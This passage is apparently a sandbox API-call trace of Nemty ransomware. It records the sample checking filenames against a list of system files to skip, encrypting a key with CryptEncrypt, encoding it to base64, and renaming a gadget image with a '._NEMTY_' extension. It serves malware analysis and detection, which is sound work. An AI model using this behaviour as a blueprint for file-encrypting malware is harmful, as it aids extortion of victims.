(HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_On.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0144.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_On.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonDown_On.png", lpUsedDefaultChar=0x0) returned 17 [0144.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0144.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_On.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0144.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_On.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonDown_On.png", lpUsedDefaultChar=0x0) returned 17 [0144.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0144.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_On.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0144.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_On.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonDown_On.png", lpUsedDefaultChar=0x0) returned 17 [0144.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_On.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0144.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonDown_On.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonDown_On.png", lpUsedDefaultChar=0x0) returned 17 [0144.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0144.391] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0144.391] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0144.391] Sleep (dwMilliseconds=0x5) [0144.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9b85d10, dwHighDateTime=0x1d561e8)) [0144.407] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9b85d10, dwHighDateTime=0x1d561e8)) [0144.407] GetLastError () returned 0x5 [0144.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0144.407] GetLastError () returned 0x5 [0144.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0144.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0144.407] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0144.407] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0144.407] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0144.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340328 [0144.407] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340328, pcchString=0x653e91c | out: pszString="FDkwqjwPrINLccYG+JB135lXEwdDTa0kDY3kh0onPpSgyg9juTBubwTLke+/MxQ4\r\n+gSPjSHAKE/24EBa95aLf89cEMDYc9fwj1NdOJjNse2kqvldUqgq0zvfyely1THi\r\nAUZSOK38SAR+zBzVsG7H29WVUKswQ0yWfiJ7NzEfKe/An7VXP/7DWRiGx7PoXpWg\r\nLVjxLEuKr4CVsFS8guOXTPp6AQUcSOiO7G6X2Zmb2wU4w6BTupGJdcCwa6wwtWqx\r\nwZULi6FOiQBYc/l8pDKVLWAD+YRt/JGYOIbpsllDK97k4v39qVWzDtoDtPdsF7Fx\r\nTOlYHVgGwmo7o08mzxNnvQ==\r\n", pcchString=0x653e91c) returned 1 [0144.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0144.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0144.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0144.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0144.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340328 [0144.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0144.408] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_On.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_on.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.408] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0144.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0144.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.445] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.454] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.454] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.454] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.473] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.500] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340328, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0144.513] CloseHandle (hObject=0xffffffff) returned 0 [0144.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340498 [0144.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0144.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0144.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0144.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0144.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0144.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0144.513] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_On.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_on.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\buttonDown_On.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\buttondown_on.png._nemty_kgobjgd_")) returned 0 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.513] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f10bb5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84f10bb5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce4ec89, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="buttonUp_Off.png", cAlternateFileName="")) returned 1 [0144.513] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2=".") returned 1 [0144.513] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="..") returned 1 [0144.513] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="...") returned 1 [0144.513] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="windows") returned -1 [0144.513] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="$RECYCLE.BIN") returned 1 [0144.513] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="rsa") returned -1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="NTDETECT.COM") returned -1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="ntldr") returned -1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="MSDOS.SYS") returned -1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="IO.SYS") returned -1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="boot.ini") returned 1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="boot.ini") returned 1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="AUTOEXEC.BAT") returned 1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="ntuser.dat") returned -1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="desktop.ini") returned -1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="CONFIG.SYS") returned -1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="RECYCLER") returned -1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="BOOTSECT.BAK") returned 1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="bootmgr") returned 1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="programdata") returned -1 [0144.514] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2="appdata") returned 1 [0144.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_Off.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0144.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_Off.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonUp_Off.png", lpUsedDefaultChar=0x0) returned 16 [0144.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0144.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_Off.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0144.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_Off.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="buttonUp_Off.png", lpUsedDefaultChar=0x0) returned 16 [0144.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0144.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.514] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="buttonUp_Off.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0144.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 